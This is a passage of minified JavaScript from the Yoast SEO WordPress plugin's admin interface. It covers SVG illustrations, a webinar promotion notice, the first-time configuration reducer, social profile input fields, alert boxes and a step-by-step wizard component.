12.85 17.86.2-.53.1 1.26.23.7-.02.2.95-12.12-8.54-20.33z"})),Io||(Io=t.createElement("path",{fill:"#fbd2a6",d:"M53.43 250.73c6.29 0-.6-.17 7.34 0 1.89.05-2.38-.7 0-.69 4.54-4.2 12.48-.74 20.6-2.45 4.55.35 3.93 1.35 5.59 4.19 4.89 8.38 4.78 14.21 14 19.56 16.42 8.38 66 12.92 88.49 18.86 5.52.83 42.64-20.15 61-23.75 6.51 10.74 11.46 28.68 8.39 34.93-6.54 13.3-57.07 25.4-75.91 25.15C156.47 326.18 94 294 92.2 293c-.94-.57.7-.7-7.68 0s-10.15.72-17.47-1.4c-3-.87-4.61-1.33-6.33-3.54-2 .22-3.39.2-4.78-1-3.15-2.74-4.84-6.61-2.73-10.06h-.12c-3.35-2.48-6.54-7.69-3.08-11.72 1-1.18 6.06-1.94 7.77-2.28-1.58-.29-6.37.19-7.49-.72-3.06-2.5-4.96-11.55 3.14-11.55z"})),Mo||(Mo=t.createElement("path",{fill:"#a4286a",d:"M303.22 237.52c-9.87-11.88-41.59 8.19-47.8 12.34s-14.89 17.95-14.89 17.95c6 9.43 8.36 31 5.65 46.34l30.51-3s18-15.62 22.59-28.7 6.3-42.54 6.3-42.54"})),Ao||(Ao=t.createElement("path",{fill:"#cb9833",d:"M278.63 31.67c-6.08 0-22.91 4.07-22.93 12.91 0 11 47.9 38.38 16.14 85.85 10.21-.79 10.79-8.12 14.92-14.93-3.66 77-49.38 93.58-40.51 142.25 7.68-25.81 20.3-11.62 38.13-33.84 3.45 4.88 9 18.28-9.46 33.78 50-31.26 57.31-56.6 51.92-95C319.93 113.53 348.7 42 278.63 31.67z"})),Do||(Do=t.createElement("path",{fill:"#fbd2a6",d:"M283.64 126.83c-2.42 9.67-8 15.76-1.48 16.46A21.26 21.26 0 0 0 302 132.6c5.17-8.52 3.93-16.44-2.46-18s-13.48 2.56-15.9 12.23z"})),Fo||(Fo=t.createElement("path",{fill:"#efb17c",d:"M38 73.45c1.92 2 4.25 9.21 6.32 10.91 2.25 1.85 5.71 2.12 8.1 4.45 3.66-2 6-8.72 10-9.31-2.59 1.31-4.42 3.5-6.93 4.88-1.42.8-3 1.31-4.38 2.25-2.16-1.46-4.27-1.77-6.26-3.38-2.52-2.02-5.31-8-6.85-9.8z"})),jo||(jo=t.createElement("path",{fill:"#efb17c",d:"M39 74.4c4.83 1.1 12.52 6.44 15.89 10-3.22-1.34-14.73-6.15-15.89-10zm.62-1.5c6.71-.79 18 1.54 23.29 5.9-3.85-.2-5.42-1.48-9-2.94-4.08-1.69-8.83-2.03-14.29-2.96zm46.43 14.58c-3.72-1.32-10.52-1.13-13.22 3.52 2-1.16 1.84-2.11 4.18-1.72-3.81-4.15 8.16-.74 11.6-.24m-2.78 13.15c.56-3.29-8-7.81-10.58-9.17-6.25-3.29-12.16 1.36-19.33-4.53 5.94 6.1 14.23 2.5 19.55 5.76 3.06 1.88 8.65 6.09 9.35 9.38-.23-.4 1.29-1.44 1.01-1.44z"})),zo||(zo=t.createElement("circle",{cx:38.13,cy:30.03,r:3.14,fill:"#b89ac8"})),Uo||(Uo=t.createElement("circle",{cx:60.26,cy:39.96,r:3.14,fill:"#e31e0c"})),$o||($o=t.createElement("circle",{cx:50.29,cy:25.63,r:3.14,fill:"#3baa45"})),qo||(qo=t.createElement("circle",{cx:22.19,cy:19.21,r:3.14,fill:"#2ca9e1"})),Bo||(Bo=t.createElement("circle",{cx:22.19,cy:30.03,r:3.14,fill:"#e31e0c"})),Ho||(Ho=t.createElement("circle",{cx:26.86,cy:8.28,r:3.14,fill:"#3baa45"})),Vo||(Vo=t.createElement("circle",{cx:49.32,cy:39.99,r:3.14,fill:"#e31e0c"})),Zo||(Zo=t.createElement("circle",{cx:63.86,cy:59.52,r:3.14,fill:"#f8ad39"})),Wo||(Wo=t.createElement("circle",{cx:50.88,cy:50.72,r:3.14,fill:"#3baa45"})),Go||(Go=t.createElement("circle",{cx:63.47,cy:76.17,r:3.14,fill:"#e31e0c"})),Yo||(Yo=t.createElement("circle",{cx:38.34,cy:14.83,r:3.14,fill:"#2ca9e1"})),Ko||(Ko=t.createElement("circle",{cx:44.44,cy:5.92,r:3.14,fill:"#f8ad39"})),Jo||(Jo=t.createElement("circle",{cx:57.42,cy:10.24,r:3.14,fill:"#e31e0c"})),Qo||(Qo=t.createElement("circle",{cx:66.81,cy:12.4,r:3.14,fill:"#2ca9e1"})),Xo||(Xo=t.createElement("circle",{cx:77.95,cy:5.14,r:3.14,fill:"#b89ac8"})),ei||(ei=t.createElement("circle",{cx:77.95,cy:30.34,r:3.14,fill:"#e31e0c"})),ti||(ti=t.createElement("circle",{cx:80.97,cy:16.55,r:3.14,fill:"#f8ad39"})),ri||(ri=t.createElement("circle",{cx:62.96,cy:27.27,r:3.14,fill:"#3baa45"})),ni||(ni=t.createElement("circle",{cx:75.36,cy:48.67,r:3.14,fill:"#2ca9e1"})),ai||(ai=t.createElement("circle",{cx:76.11,cy:65.31,r:3.14,fill:"#3baa45"})),si||(si=t.createElement("path",{fill:"#71b026",d:"M78.58 178.43C54.36 167.26 32 198.93 5 198.93c19.56 20.49 63.53 1.52 69 15.5 1.48-14.01 4.11-30.9 4.58-36z"})),oi||(oi=t.createElement("path",{fill:"#074a67",d:"M67.75 251.08c0-4.65 10.13-72.65 10.13-72.65h2.8l-9.09 72.3z"})),ii||(ii=t.createElement("ellipse",{cx:255.38,cy:103.18,fill:"#fff",rx:1.84,ry:1.77})),li||(li=t.createElement("ellipse",{cx:221.24,cy:94.75,fill:"#fff",rx:1.84,ry:1.77}))),di=({store:e="yoast-seo/editor",image:r=ui,url:n,...a})=>(0,s.useSelect)((t=>t(e).getIsPremium()))?null:(0,t.createElement)(yo,{alertKey:"webinar-promo-notification",store:e,id:"webinar-promo-notification",title:(0,Ht.__)("Join our FREE webinar for SEO success","wordpress-seo"),image:r,url:n,...a},(0,Ht.__)("Feeling lost when it comes to optimizing your site for the search engines? Join our FREE webinar to gain the confidence that you need in order to start optimizing like a pro! You'll obtain the knowledge and tools to start effectively implementing SEO.","wordpress-seo")," ",(0,t.createElement)("a",{href:n,target:"_blank",rel:"noreferrer"},(0,Ht.__)("Sign up today!","wordpress-seo")));di.propTypes={store:Wr().string,image:Wr().elementType,url:Wr().string.isRequired};const pi=di,mi=((0,Ht.__)("E.g. https://www.facebook.com/yoast","wordpress-seo"),(0,Ht.__)("E.g. https://www.instagram.com/yoast","wordpress-seo"),(0,Ht.__)("E.g. https://www.linkedin.com/yoast","wordpress-seo"),(0,Ht.__)("E.g. https://www.myspace.com/yoast","wordpress-seo"),(0,Ht.__)("E.g. https://www.pinterest.com/yoast","wordpress-seo"),(0,Ht.__)("E.g. https://www.soundcloud.com/yoast","wordpress-seo"),(0,Ht.__)("E.g. https://www.tumblr.com/yoast","wordpress-seo"),(0,Ht.__)("E.g. https://www.twitter.com/yoast","wordpress-seo"),(0,Ht.__)("E.g. https://www.youtube.com/yoast","wordpress-seo"),(0,Ht.__)("E.g. https://www.wikipedia.com/yoast","wordpress-seo"),e=>`error-${e}`),fi=(e,{isVisible:t})=>t?{"aria-invalid":!0,"aria-describedby":mi(e)}:{};function yi({active:e,selected:t}){return cr()("yst-relative yst-cursor-default yst-select-none yst-py-2 yst-pl-3 yst-pr-9 yst-my-0",t&&"yst-bg-primary-500 yst-text-white",e&&!t&&"yst-bg-primary-200 yst-text-slate-700",!e&&!t&&"yst-text-slate-700")}function hi(e,t){const r=function(e,t){return e.includes(t)?[...e]:[...e,t]}(e.editedSteps,t);return{...e,editedSteps:r}}function gi(e,t){let r=(0,u.cloneDeep)(e);switch(t.type){case"SET_COMPANY_OR_PERSON":return r=hi(r,2),r.companyOrPerson=t.payload,r.companyOrPersonLabel=r.companyOrPersonOptions.filter((e=>e.value===t.payload)).pop().label,r;case"CHANGE_COMPANY_NAME":return r=hi(r,2),r.companyName=t.payload,r;case"SET_COMPANY_LOGO":return r=hi(r,2),r.companyLogo=t.payload.url,r.companyLogoId=t.payload.id,r;case"REMOVE_COMPANY_LOGO":return r=hi(r,2),r.companyLogo="",r.companyLogoId="",r;case"CHANGE_WEBSITE_NAME":return r=hi(r,2),r.websiteName=t.payload,r;case"SET_PERSON_LOGO":return r=hi(r,2),r.personLogo=t.payload.url,r.personLogoId=t.payload.id,r;case"REMOVE_PERSON_LOGO":return r=hi(r,2),r.personLogo="",r.personLogoId="",r;case"SET_PERSON":return r=hi(r,2),r.personId=t.payload.value,r.personName=t.payload.label,r;case"SET_CAN_EDIT_USER":return r=hi(r,2),r.canEditUser=!0===t.payload?1:0,r;case"CHANGE_SOCIAL_PROFILE":return r=hi(r,3),r.socialProfiles[t.payload.socialMedium]=t.payload.value,r.errorFields=r.errorFields.filter((e=>"facebookUrl"===t.payload.socialMedium?"facebook_site"!==e:"twitterUsername"!==t.payload.socialMedium||"twitter_site"!==e)),r;case"CHANGE_OTHERS_SOCIAL_PROFILE":return r=hi(r,3),r.socialProfiles.otherSocialUrls[t.payload.index]=t.payload.value,r.errorFields=r.errorFields.filter((e=>e!==`other_social_urls-${t.payload.index}`)),r;case"ADD_OTHERS_SOCIAL_PROFILE":return r=hi(r,3),r.socialProfiles.otherSocialUrls=[...r.socialProfiles.otherSocialUrls,t.payload.value],r;case"REMOVE_OTHERS_SOCIAL_PROFILE":return r=hi(r,3),r.socialProfiles.otherSocialUrls.splice(t.payload.index,1),r.errorFields=(n=r.errorFields,a=t.payload.index,n.map((e=>{const t=parseInt(e.replace("other_social_urls-",""),10);return t===a?"remove":t>a?"other_social_urls-"+(t-1):e})).filter((e=>"remove"!==e))),r;case"SET_ERROR_FIELDS":return r.errorFields=t.payload,r;case"SET_STEP_ERROR":return r.stepErrors[t.payload.step]=t.payload.message,r;case"REMOVE_STEP_ERROR":return r.stepErrors=(0,u.pickBy)(r.stepErrors,((e,r)=>r!==t.payload)),r;case"SET_TRACKING":return r=hi(r,4),r.tracking=t.payload,r;default:return r}var n,a}const vi=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"}))})),bi=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{fillRule:"evenodd",d:"M10 3a1 1 0 011 1v5h5a1 1 0 110 2h-5v5a1 1 0 11-2 0v-5H4a1 1 0 110-2h5V4a1 1 0 011-1z",clipRule:"evenodd"}))})),wi=({items:e,onAddProfile:r,onRemoveProfile:n,onChangeProfile:a,errorFields:s,fieldType:o,addButtonChildren:i})=>{const u=(0,l.useCallback)((e=>{n(parseInt(e.currentTarget.dataset.index,10))}),[n]);return(0,t.createElement)("div",null,e.map(((e,r)=>(0,t.createElement)("div",{key:`url-${r}`},(0,t.createElement)("div",{className:"yst-w-full yst-flex yst-items-start yst-mt-4"},(0,t.createElement)(o,{className:"yst-grow",label:(0,Ht.__)("Other social profile","wordpress-seo"),id:`social-input-other-url-${r}`,value:e,socialMedium:"other",index:r,onChange:a,placeholder:(0,Ht.__)("E.g. https://social-platform.com/yoast","wordpress-seo"),feedback:{type:"error",isVisible:s.includes("other_social_urls-"+r),message:[(0,Ht.__)("Could not save this value. Please check the URL.","wordpress-seo")]}}),(0,t.createElement)("button",{type:"button",className:"yst-mt-[27.5px] yst-ml-2 yst-p-3 yst-text-slate-500 yst-rounded-md hover:yst-text-primary-500 focus:yst-text-primary-500 focus:yst-outline-none focus:yst-ring-2 focus:yst-ring-primary-500 yst-no-underline;",id:`remove-profile-${r}`,"data-index":r,onClick:u},(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,Ht.__)("Delete item","wordpress-seo")),(0,t.createElement)(vi,{className:"yst-w-5 yst-h-5"})))))),(0,t.createElement)(c.Button,{id:"add-profile",variant:"secondary",className:"yst-items-center yst-mt-8",onClick:r,"data-hiive-event-name":"clicked_add_profile"},(0,t.createElement)(bi,{className:"yst-w-5 yst-h-5 yst-mr-1 yst-text-slate-400"}),i))};wi.propTypes={fieldType:Wr().elementType.isRequired,items:Wr().array.isRequired,onAddProfile:Wr().func.isRequired,onRemoveProfile:Wr().func.isRequired,onChangeProfile:Wr().func.isRequired,errorFields:Wr().array,addButtonChildren:Wr().node},wi.defaultProps={errorFields:[],addButtonChildren:(0,Ht.__)("Add another profile","wordpress-seo")};const Ei=wi,xi=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{fillRule:"evenodd",d:"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z",clipRule:"evenodd"}))})),Si=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{fillRule:"evenodd",d:"M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z",clipRule:"evenodd"}))})),_i=({texts:e,id:r,as:n,...a})=>{const s=(0,l.useMemo)((()=>(0,u.last)(e)),[e]);return(0,t.createElement)(n,{id:r,...a},e.map(((e,n)=>(0,t.createElement)(l.Fragment,{key:`${r}-text-${n}`},e,s!==e&&(0,t.createElement)("br",null)))))};_i.defaultProps={as:"p"},_i.propTypes={texts:Wr().arrayOf(Wr().string).isRequired,id:Wr().string.isRequired,as:Wr().oneOfType([Wr().string,Wr().elementType])};const ki=_i;function Ri({hasError:e,hasSuccess:r}){return e?(0,t.createElement)("div",{className:"yst-flex yst-items-center yst-absolute yst-inset-y-0 yst-right-0 yst-mr-3"},(0,t.createElement)(xi,{className:"yst-pointer-events-none yst-h-5 yst-w-5 yst-text-red-500"})):r?(0,t.createElement)("div",{className:"yst-flex yst-items-center yst-absolute yst-inset-y-0 yst-right-0 yst-mr-3"},(0,t.createElement)(Si,{className:"yst-pointer-events-none yst-h-5 yst-w-5 yst-text-emerald-600"})):null}function Ci({className:e,id:r,label:n,description:a,value:s,onChange:o,placeholder:i,feedback:c,type:u,...d}){const p=u||"text",m=(0,l.useMemo)((()=>c.isVisible&&"error"===c.type),[c.isVisible,c.type]),f=(0,l.useMemo)((()=>c.isVisible&&"success"===c.type),[c.isVisible,c.type]);return(0,t.createElement)("div",{className:e},n&&(0,t.createElement)("label",{className:"yst-block yst-mb-2 yst-font-medium yst-text-slate-700",htmlFor:r},n),(0,t.createElement)("div",{className:"yst-relative"},(0,t.createElement)("input",{id:r,type:p,value:s,className:cr()("yst-block yst-w-full yst-h-[45px] yst-input focus:yst-ring-1",{"yst-border-red-300 yst-text-red-900 focus:yst-ring-red-500 focus:yst-border-red-500":m,"yst-border-emerald-600 yst-text-slate-700 focus:yst-ring-emerald-600 focus:yst-border-emerald-600":f,"yst-text-slate-700 yst-border-slate-300 focus:yst-ring-primary-500 focus:yst-border-primary-500":!m&&!f}),onChange:o,placeholder:i,...fi(r,c),...d}),(0,t.createElement)(Ri,{hasError:m,hasSuccess:f})),c.isVisible&&(0,t.createElement)(ki,{id:`${m?"error-":"success-"}${r}`,className:cr()("yst-mt-2 yst-text-sm",{"yst-text-red-600":m,"yst-text-emerald-600":f}),texts:c.message}),a)}function Pi({id:e,onChange:r,socialMedium:n,isDisabled:a,...s}){const o=(0,l.useCallback)((e=>{r(e.target.value,"other"===n?s.index:n)}),[n,s.index]);return(0,t.createElement)(Ci,{onChange:o,disabled:a,id:e,...s})}function Ni({socialProfiles:e,errorFields:r,dispatch:n}){const a=(0,l.useCallback)(((e,t)=>{n({type:"CHANGE_SOCIAL_PROFILE",payload:{socialMedium:t,value:e}})}),[]),s=(0,l.useCallback)(((e,t)=>{n({type:"CHANGE_OTHERS_SOCIAL_PROFILE",payload:{index:t,value:e}})}),[]),o=(0,l.useCallback)((()=>{n({type:"ADD_OTHERS_SOCIAL_PROFILE",payload:{value:""}})}),[]),i=(0,l.useCallback)((e=>{n({type:"REMOVE_OTHERS_SOCIAL_PROFILE",payload:{index:e}})}),[]);return(0,t.createElement)(Oi,{socialProfiles:e,onChangeHandler:a,onChangeOthersHandler:s,onAddProfileHandler:o,onRemoveProfileHandler:i,errorFields:r})}function Oi({socialProfiles:e,onChangeHandler:r,onChangeOthersHandler:n,onAddProfileHandler:a,onRemoveProfileHandler:s,errorFields:o}){return(0,t.createElement)("div",{id:"social-input-section"},(0,t.createElement)(Pi,{className:"yst-mt-4",label:(0,Ht.__)("Facebook","wordpress-seo"),id:"social-input-facebook-url",value:e.facebookUrl,socialMedium:"facebookUrl",onChange:r,placeholder:(0,Ht.__)("E.g. https://facebook.com/yoast","wordpress-seo"),feedback:{message:[(0,Ht.__)("Could not save this value. Please check the URL.","wordpress-seo")],isVisible:o.includes("facebook_site"),type:"error"}}),(0,t.createElement)(Pi,{className:"yst-mt-4",label:(0,Ht.__)("X","wordpress-seo"),id:"social-input-twitter-url",value:e.twitterUsername,socialMedium:"twitterUsername",onChange:r,placeholder:(0,Ht.__)("E.g. https://x.com/yoast","wordpress-seo"),feedback:{message:[(0,Ht.__)("Could not save this value. Please check the URL or username.","wordpress-seo")],isVisible:o.includes("twitter_site"),type:"error"}}),(0,t.createElement)(Ei,{items:e.otherSocialUrls,onAddProfile:a,onRemoveProfile:s,onChangeProfile:n,errorFields:o,fieldType:Pi}))}Ri.propTypes={hasError:Zr.PropTypes.bool,hasSuccess:Zr.PropTypes.bool},Ri.defaultProps={hasError:!1,hasSuccess:!1},Ci.propTypes={className:Zr.PropTypes.string,id:Zr.PropTypes.string.isRequired,label:Zr.PropTypes.string,description:Zr.PropTypes.node,value:Zr.PropTypes.string,onChange:Zr.PropTypes.func.isRequired,placeholder:Zr.PropTypes.string,feedback:Zr.PropTypes.shape({type:Zr.PropTypes.string,message:Zr.PropTypes.array,isVisible:Zr.PropTypes.bool}),type:Zr.PropTypes.string},Ci.defaultProps={value:"",className:"",label:"",description:null,placeholder:"",feedback:{message:[],isVisible:!1},type:"text"},Pi.propTypes={id:Wr().string.isRequired,onChange:Wr().func.isRequired,socialMedium:Wr().string,isDisabled:Wr().bool},Pi.defaultProps={socialMedium:"",isDisabled:!1},Ni.propTypes={socialProfiles:Wr().object.isRequired,dispatch:Wr().func.isRequired,errorFields:Wr().array},Ni.defaultProps={errorFields:[]},Oi.propTypes={socialProfiles:Wr().object.isRequired,onChangeHandler:Wr().func.isRequired,onChangeOthersHandler:Wr().func.isRequired,onAddProfileHandler:Wr().func.isRequired,onRemoveProfileHandler:Wr().func.isRequired,errorFields:Wr().array.isRequired};const Ti=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{fillRule:"evenodd",d:"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z",clipRule:"evenodd"}))})),Li=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{fillRule:"evenodd",d:"M8.257 3.099c.765-1.36 2.722-1.36 3.486 0l5.58 9.92c.75 1.334-.213 2.98-1.742 2.98H4.42c-1.53 0-2.493-1.646-1.743-2.98l5.58-9.92zM11 13a1 1 0 11-2 0 1 1 0 012 0zm-1-8a1 1 0 00-1 1v3a1 1 0 002 0V6a1 1 0 00-1-1z",clipRule:"evenodd"}))})),Ii=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{fillRule:"evenodd",d:"M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z",clipRule:"evenodd"}))}));var Mi=r(8133);function Ai({type:e,children:r,className:n}){let a,s;switch(e){case"info":a=(0,t.createElement)(Ti,{"aria-hidden":"true",className:"yst-flex-shrink-0 yst-w-5 yst-h-5 yst-text-blue-500"}),s="yst-bg-blue-100 yst-text-blue-800";break;case"warning":a=(0,t.createElement)(Li,{"aria-hidden":"true",className:"yst-flex-shrink-0 yst-w-5 yst-h-5 yst-text-yellow-500"}),s="yst-bg-yellow-100 yst-text-yellow-800";break;case"error":a=(0,t.createElement)(Ii,{"aria-hidden":"true",className:"yst-flex-shrink-0 yst-w-5 yst-h-5 yst-text-red-500"}),s="yst-bg-red-100 yst-text-red-800";break;case"success":a=(0,t.createElement)(Si,{"aria-hidden":"true",className:"yst-flex-shrink-0 yst-w-5 yst-h-5 yst-text-emerald-600"}),s="yst-bg-green-100 yst-text-green-800"}return(0,t.createElement)("div",{className:cr()("yst-flex yst-p-4 yst-rounded-md",s,n)},a,(0,t.createElement)("div",{className:"yst-flex-1 yst-ml-3 yst-text-sm"},r))}function Di({id:e,isVisible:r,expandDuration:n,type:a,children:s,className:o}){const[i,c]=(0,l.useState)(r?"yst-opacity-100":"yst-opacity-0"),u=(0,l.useCallback)((()=>{c("yst-opacity-100")}),[]);return(0,t.createElement)(Mi.Z,{id:e,height:r?"auto":0,easing:"linear",duration:n,onAnimationEnd:u},(0,t.createElement)(Ai,{type:a,className:cr()("yst-transition-opacity yst-duration-300 yst-mt-4",i,o)},s))}function Fi({state:e,dispatch:r,setErrorFields:n}){const a=(0,Ht.__)("If you select a Person to represent this site, we will use the social profiles from the selected user's profile page.","wordpress-seo"),s=(0,l.createInterpolateElement)((0,Ht.sprintf)(
// translators: %1$s is replaced by the selected person's username.
(0,Ht.__)("You have selected the user %1$s as the person this site represents.","wordpress-seo"),`<b>${e.personName}</b>`),{b:(0,t.createElement)("b",null)}),o=(0,l.createInterpolateElement)((0,Ht.sprintf)(
// translators: %1$s and %2$s is replaced by a link to the selected person's profile page.
(0,Ht.__)("You can %1$supdate or add social profiles to this user profile%2$s.","wordpress-seo"),"<a>","</a>"),{a:(0,t.createElement)("a",{id:"yoast-configuration-person-social-profiles-user-link",href:window.wpseoScriptData.userEditUrl.replace("{user_id}",e.personId),target:"_blank",rel:"noopener noreferrer","data-hiive-event-name":"clicked_update_or_add_profile | social profiles"})}),i=(0,Ht.__)("You're not allowed to edit the social profiles of this user. Please ask this user or an admin to do this.","wordpress-seo");return["company","emptyChoice"].includes(e.companyOrPerson)?(0,t.createElement)(l.Fragment,null,(0,t.createElement)("p",null,(0,Ht.__)("Fantastic work! Add your organization's social media accounts below. This allows us to fine-tune the metadata for these platforms.","wordpress-seo")),(0,t.createElement)(Ni,{socialProfiles:e.socialProfiles,dispatch:r,errorFields:e.errorFields,setErrorFields:n})):0===e.personId?(0,t.createElement)(l.Fragment,null,(0,t.createElement)("p",null,a),(0,t.createElement)(Ai,{type:"info",className:"yst-mt-5"},
// translators: please note that "Site representation" here refers to the name of a step in the first-time configuration, so this occurrence needs to be translated in the same manner as that step's heading.
(0,Ht.__)("Please select a user in the Site representation step.","wordpress-seo"))):(0,t.createElement)(l.Fragment,null,(0,t.createElement)("p",null,s," ",e.canEditUser?o:i))}Ai.propTypes={type:Wr().oneOf(["info","warning","error","success"]),children:Wr().oneOfType([Wr().arrayOf(Wr().node),Wr().node]).isRequired,className:Wr().string},Ai.defaultProps={type:"info",className:""},Di.propTypes={id:Wr().string.isRequired,isVisible:Wr().bool.isRequired,type:Wr().oneOf(["info","warning","error","success"]),children:Wr().oneOfType([Wr().arrayOf(Wr().node),Wr().node]).isRequired,expandDuration:Wr().number,className:Wr().string},Di.defaultProps={expandDuration:400,type:"info",className:""},Fi.propTypes={state:Wr().object.isRequired,dispatch:Wr().func.isRequired,setErrorFields:Wr().func.isRequired};const ji={slideDuration:500,fadeDuration:200,delayBeforeOpening:900,delayBeforeFadingIn:1400,delayBeforeClosing:200},zi={fadeDuration:"yst-duration-200",slideDuration:"yst-duration-500",delayBeforeOpening:"yst-delay-[900ms]",delayUntilStepFaded:"yst-delay-200"},Ui=t.forwardRef((function(e,r){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:r},e),t.createElement("path",{fillRule:"evenodd",d:"M16.707 5.293a1 1 0 010 1.414l-8 8a1 1 0 01-1.414 0l-4-4a1 1 0 011.414-1.414L8 12.586l7.293-7.293a1 1 0 011.414 0z",clipRule:"evenodd"}))})),{slideDuration:$i,delayUntilStepFaded:qi}=zi,Bi=`yst-transition-opacity ${$i} yst-absolute yst-inset-0 yst-border-2 yst-flex yst-items-center yst-justify-center yst-rounded-full`;function Hi(e){return`${Bi} ${e?"yst-opacity-100":`${qi} yst-opacity-0`}`}function Vi({isVisible:e}){return(0,t.createElement)("span",{className:`yst-bg-white yst-border-primary-500 ${Hi(e)}`},(0,t.createElement)("span",{className:"yst-h-2.5 yst-w-2.5 yst-rounded-full yst-bg-primary-500"}))}function Zi({isVisible:e}){return(0,t.createElement)("span",{className:`yst-bg-primary-500 yst-border-primary-500 ${Hi(e)}`},(0,t.createElement)(Ui,{className:"yst-w-5 yst-h-5 yst-text-white","aria-hidden":"true"}))}function Wi({isVisible:e}){return(0,t.createElement)("span",{className:`yst-bg-white yst-border-slate-300 ${Hi(e)}`},(0,t.createElement)("span",{className:"yst-h-2.5 yst-w-2.5 yst-rounded-full yst-bg-transparent"}))}function Gi({activationDelay:e,deactivationDelay:r,isFinished:n}){const{activeStepIndex:a,stepIndex:s,lastStepIndex:o}=sl(),i=s===o,c=a===s,[u,d]=(0,l.useState)((()=>!!c&&!i));return(0,l.useEffect)((()=>{if(c){const t=setTimeout((()=>{d(!0)}),e);return()=>clearTimeout(t)}const t=setTimeout((()=>{d(!1)}),r);return()=>clearTimeout(t)}),[c,i,e,r]),(0,t.createElement)("span",{className:"yst-relative yst-z-10 yst-w-8 yst-h-8 yst-rounded-full"},(0,t.createElement)(Wi,{isVisible:!0}),(0,t.createElement)(Zi,{isVisible:n}),(0,t.createElement)(Vi,{isVisible:u&&!i}))}function Yi(e,t,r){return t&&!r?"yst-text-primary-500":e?"yst-text-slate-900":"yst-text-slate-600"}function Ki({name:e,description:r,isFinished:n,children:a}){const{stepIndex:s,activeStepIndex:o,lastStepIndex:i}=sl(),c=o===s,u=i===s,[d,p]=(0,l.useState)(Yi(n,c,u));return(0,l.useEffect)((()=>{if(c){const e=Yi(n,c,u),t=setTimeout((()=>p(e)),ji.delayBeforeOpening);return()=>clearTimeout(t)}const e=Yi(n,c,u);p(e)}),[o,n,u,Yi]),(0,t.createElement)("div",{className:"yst-relative yst-flex yst-items-center yst-group","aria-current":c?"step":null},(0,t.createElement)("span",{className:"yst-flex yst-items-center","aria-hidden":c?"true":null},(0,t.createElement)(Gi,{activationDelay:ji.delayBeforeOpening,deactivationDelay:0,isFinished:n})),(0,t.createElement)("span",{className:"yst-ml-4 yst-min-w-0 yst-flex yst-flex-col"},(0,t.createElement)("span",{className:`yst-transition-colors yst-duration-500 yst-text-xs yst-font-[650] yst-tracking-wide yst-uppercase ${d}`},e),r&&(0,t.createElement)("span",{className:"yst-text-sm yst-text-slate-600"},r)),a)}Vi.propTypes={isVisible:Wr().bool},Vi.defaultProps={isVisible:!0},Zi.propTypes={isVisible:Wr().bool},Zi.defaultProps={isVisible:!0},Wi.propTypes={isVisible:Wr().bool},Wi.defaultProps={isVisible:!0},Gi.propTypes={isFinished:Wr().bool.isRequired,activationDelay:Wr().number,deactivationDelay:Wr().number},Gi.defaultProps={activationDelay:0,deactivationDelay:0},Ki.propTypes={name:Wr().string.isRequired,isFinished:Wr().bool.isRequired,description:Wr().string,children:Wr().node},Ki.defaultProps={description:"",children:[]};const{slideDuration:Ji,delayBeforeOpening:Qi,delayBeforeFadingIn:Xi,delayBeforeClosing:el}=ji,{fadeDuration:tl,delayUntilStepFaded:rl,slideDuration:nl}=zi,al=(0,l.createContext)();function sl(){const e=(0,l.useContext)(al);if(!e)throw new Error("Stepper compound components cannot be rendered outside the Stepper component");return e}function ol({beforeGo:e,children:r,destination:n,...a}){const{stepIndex:s,setActiveStepIndex:o,lastStepIndex:i}=sl(),u=(0,l.useCallback)((()=>{o("string"==typeof n?"last"===n?i:0:s+n)}),[s,i,o,n]),d=(0,l.useCallback)((async()=>{let t=!0;e&&(t=!1,t=await e()),t&&u()}),[u,e]);return(0,t.createElement)(c.Button,{onClick:d,...a},r)}function il({children:e,...r}){const{stepIndex:n,setActiveStepIndex:a}=sl(),s=(0,l.useCallback)((()=>{a(n)}),[a,n]);return(0,t.createElement)(c.Button,{onClick:s,variant:"secondary",size:"small",...r},e)}function 